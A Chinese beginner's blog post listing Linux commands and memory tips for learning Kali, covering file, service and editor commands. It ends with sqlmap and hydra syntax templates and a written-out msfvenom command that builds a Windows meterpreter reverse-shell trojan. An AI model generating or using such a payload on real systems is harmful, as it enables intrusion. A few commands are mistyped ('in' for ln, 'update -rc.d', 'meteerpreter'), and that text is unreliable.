【初学Linux】常用命令和自用记忆方法 持续更新

前言

最近在补习linux 相关知识,为Kali做准备,虽然以前接触过linux但是基本跟小白没什么区别,现在开始从最简单的开始学起,一个一个认命令。欢迎各位萌新跟我一起学习!

正题

基础命令

ls 列出文件或目录

-l 列出文件详细信息

-a 列出所有文件包括隐藏文件

mkdir 创建目录

-p 创建多个目录

例如 mkdir -p 1/2/3/4 创建 1 2 3 4子目录

cd 切换目录

touch 创建空文件

echo 创建有内容的文件

格式:echo 内容 > 文件名

echo hello world > 1.txt 单箭头为覆盖写入

echo hi >> 1.txt 双箭头为叠加写入

cat 查看文件内容

记忆:猫 猫一眼 2333

cp 复制

例如:cp 原文件 新文件位置

mv 移动或重命名

例如:mv 原文件 新文件位置

more、less 分页显示文本文件

rm 删除文件

-r 递归删除,删除所有子目录及文件

-f 强制删除

find 查找指定文件

wc 统计文本中行数,字数,字符数

grep 在文本文件中查找某个字符

rmdir 删除空目录 少用

tree 树形结构显示目录

pwd 显示当前目录

in 创建链接文件

head、tail 显示文件头、尾内容(默认前后10行)

服务命令

service 服务名 restart 重启服务

service 服务名 start 启动服务

service 服务名 status 查看服务状态

service 服务名 stop 停止服务

update -rc.d 服务名 enable 将一个服务添加到启动项

update -rc.d 服务名 disable 将一个服务从启动项去除

文本编辑命令

vim 命令的三种模式:命令模式(esc),插入模式(a),编辑模式

命令模式:

:q 退出

:q! 强制退出

:wq 保存并退出

:set number 启动行号显示

:set nonumber 关闭行号显示

yyp 复制光标所在行并粘贴

nano 文件名 进入可视化编辑模式

leafpad 以图形化打开文件(和win一样)

工具命令

通用格式:

工具名 参数 路径 链接

工具名 –help 查看工具说明

例如:

sqlmap -u URL 参数 库 参数 表 参数 字段

hydra 参数 文件 参数 文件 参数 地址 端口

msfvenom -p windows/meteerpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe > text.exe

生成一个windows下的木马